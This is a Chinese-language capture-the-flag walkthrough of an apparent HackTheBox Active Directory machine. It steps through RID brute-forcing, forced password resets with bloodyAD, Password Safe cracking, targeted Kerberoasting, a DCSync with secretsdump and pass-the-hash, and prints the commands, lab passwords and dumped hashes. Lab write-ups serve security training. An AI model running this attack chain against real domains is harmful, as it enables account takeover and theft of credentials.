信息收集 端口扫描nmap --min-rate 10000 -p- 10.10.11.42
详细信息扫描
nmap -sT -sC -sV -O 10.10.11.42
题目给了一个用户名和密码,来爆破下其他用户,使用 Crackmapexec工具来爆破crackmapexec smb administrator.htb -u "Olivia" -p "ichliebedich" --rid-brute | grep SidTypeUser
看到刚才扫描的端口开放了5985端口,这个端口一般运行着winrm服务
WinRM是很早之前微软推出的一种新式的方便远程管理的服务Windows Remote Management的简称,相比RDP远程桌面协议,WinRM这种服务更具备轻量、低宽带的特性,WinRM与WinRS(Windows Remote Shell)的使用可以让远程连的运维人员拥有CMDShell环境,通过命令执行对服务器与服务器数据进行管理。
域内信息收集 来登录下试试,使用kali自带的evil-winrm登录
evil-winrm -u "Olivia" -p "ichliebedich" -i 10.10.11.51
发现可以登录成功,看下权限。
1 2 3 SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
可以将计算机添加到域内。
使用bloodhound-python收集一波域内的信息
bloodhound-python -u Olivia -p 'ichliebedich' -c All -d administrator.htb -ns 10.10.11.42
可以看到Olivia用户能够完全控制michael用户,那么给其改个密码,使用bloodyAD进行修改。
漏洞利用 bloodyAD -u "olivia" -p "ichliebedich" -d "Administrator.htb" --host "10.10.11.42" set password "Michael" "12345678"
然后看看 MIchael用户的FDOC
发现该用户可以强制更改benjamin用户的密码,同样适用bloodyAD进行更改
bloodyAD -u "Michael" -p "12345678" -d "Administrator.htb" --host "10.10.11.42" set password "Benjamin" "12345678"
ftp登录查看有一个psafe3文件下载下来看看
psafe3 文件是加密的密码安全文件,无法直接读取,需要使用 pwsafe2john
工具进行获取 hash。
1 2 pwsafe2john Backup.psafe3 Backu:$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050
使用john爆破下密码
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
或者使用hashcat也可以直接爆破
hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
https://github.com/pwsafe/pwsafe/releases 使用这个工具解密得到文件
得到三个用户的密码
1 2 3 alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
继续使用evil-winrm登录看看能不能读到用户的flag
提权 继续查找emily用户的权限
Kerberoasting攻击 发现其对Ethan 有权限写入,可以考虑使用Kerberoasting攻击
使用targetedKerberoast 脚本来进行攻击
它可以为设置了 SPN 的用户帐户打印 “kerberoast” 哈希值。 该工具带来了以下附加功能:对于每个没有 SPN 的用户,它会尝试设置一个(滥用对属性的写入权限 ),打印 “kerberoast” 哈希,并删除为该操作设置的临时 SPN。
在使用脚本之前先同步下时间ntpdate 10.10.11.42
python targetedKerberoast.py -u "emily" -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb" -d "Administrator.htb" --dc-ip 10.10.11.42
但是我没有成功········
那就手动给ethan用户添加一个spn,还是使用bloodyAD工具
bloodyAD -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --host '10.10.11.42' set object ethan servicePrincipalName -v 'x0da6h/x0da6h'
然后使用getuserspn脚本获取hash来进行爆破
impacket-GetUserSPNs 'administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -request
然后爆破密码出了limpbizkit
然后我们继续查看ethan的权限
发现可以进行dcsync, GetChanges 和 GetChangesAll 的组合。这两个权限的组合授予主体执行 DCSync 攻击的能力。我们使用impacket-secretsdump
转储域控制器上的所有密码。
impacket-secretsdump "Administrator.htb/ethan:limpbizkit"@"dc.Administrator.htb"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 impacket-secretsdump "Administrator.htb/ethan:limpbizkit"@"dc.Administrator.htb" Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6::: administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7::: administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:8864a202387fccd97844b924072e1467::: administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:95687598bfb05cd32eaa2831e0ae6850::: administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31::: administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884::: administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199::: administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664 Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2 Administrator:des-cbc-md5:403286f7cdf18385 krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648 krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94 krbtgt:des-cbc-md5:2c0bc7d0250dbfc7 administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3 administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48 administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9 administrator.htb\michael:aes256-cts-hmac-sha1-96:b360c36cb6777b8cc3d88ab1aa60f0064e6ea4fc9b9a4ebacf66345118c0e959 administrator.htb\michael:aes128-cts-hmac-sha1-96:bc3c8269d1a4a82dc55563519f16de8b administrator.htb\michael:des-cbc-md5:43c2bc231598012a administrator.htb\benjamin:aes256-cts-hmac-sha1-96:a0bbafbc6a28ed32269e6a2cc2a0ccb35ac3d7314633815768f0518ebae6847f administrator.htb\benjamin:aes128-cts-hmac-sha1-96:426ca56d39fe628d47066fc3448b645e administrator.htb\benjamin:des-cbc-md5:b6f84a864376a4ad administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4 administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218 administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51 administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6 administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82 administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e administrator.htb\emma:des-cbc-md5:3249fba89813ef5d DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d DC$:des-cbc-md5:f483547c4325492a [*] Cleaning up...
有了hash之后我们就可以想干啥就干啥了。
evil-winrm -u "administrator" -H "3dc553ce4b9fd20bd016e098d2d2fd2e" -i administrator.htb
还是多实践。